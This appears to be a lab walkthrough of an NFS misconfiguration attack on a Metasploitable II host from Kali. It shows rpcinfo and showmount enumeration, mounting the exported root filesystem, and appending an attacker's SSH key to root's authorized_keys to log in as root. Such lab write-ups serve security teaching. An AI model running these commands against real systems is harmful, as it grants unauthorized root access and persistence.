Unix Fundamentals - NFS Service / Attack Illustration

look at the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

root@ubuntu:~# rpcinfo -p 192.168.99.131

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    100003    2   tcp   2049  nfs

    100003    3   tcp   2049  nfs

    100003    4   tcp   2049  nfs

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root@ubuntu:~# showmount -e 192.168.99.131



Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file: 


root@ubuntu:~# ssh-keygen
root@ubuntu:~# mkdir /tmp/r00t
root@ubuntu:~# mount -t nfs 192.168.99.131:/ /tmp/r00t/

mount.nf: rpc.statd is not running but is required for remote locking.
mount.nfs: Either use '-o nolock' to keep locks local, or start statd. 
mount.nfs: an incorrect mount option was specified.


This is the message you get when you try to mount the NFS export. 

restarting nfs-common is not enough

• service nfs-common restart

restarting rpc will resolve the issue.

• service rpcbind restart

root@ubuntu:~# cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys 


ssh root@192.168.99.131 

//with the password generated on the ssh-keygen (then add our pub file -key- into the account's authorized_keys file on the remote machine), you can access to the remote system. yay. 

root@metasploitable:~#



The environment include Kali and Metasploitable II.

Reference:
https://community.rapid7.com/docs/DOC-1875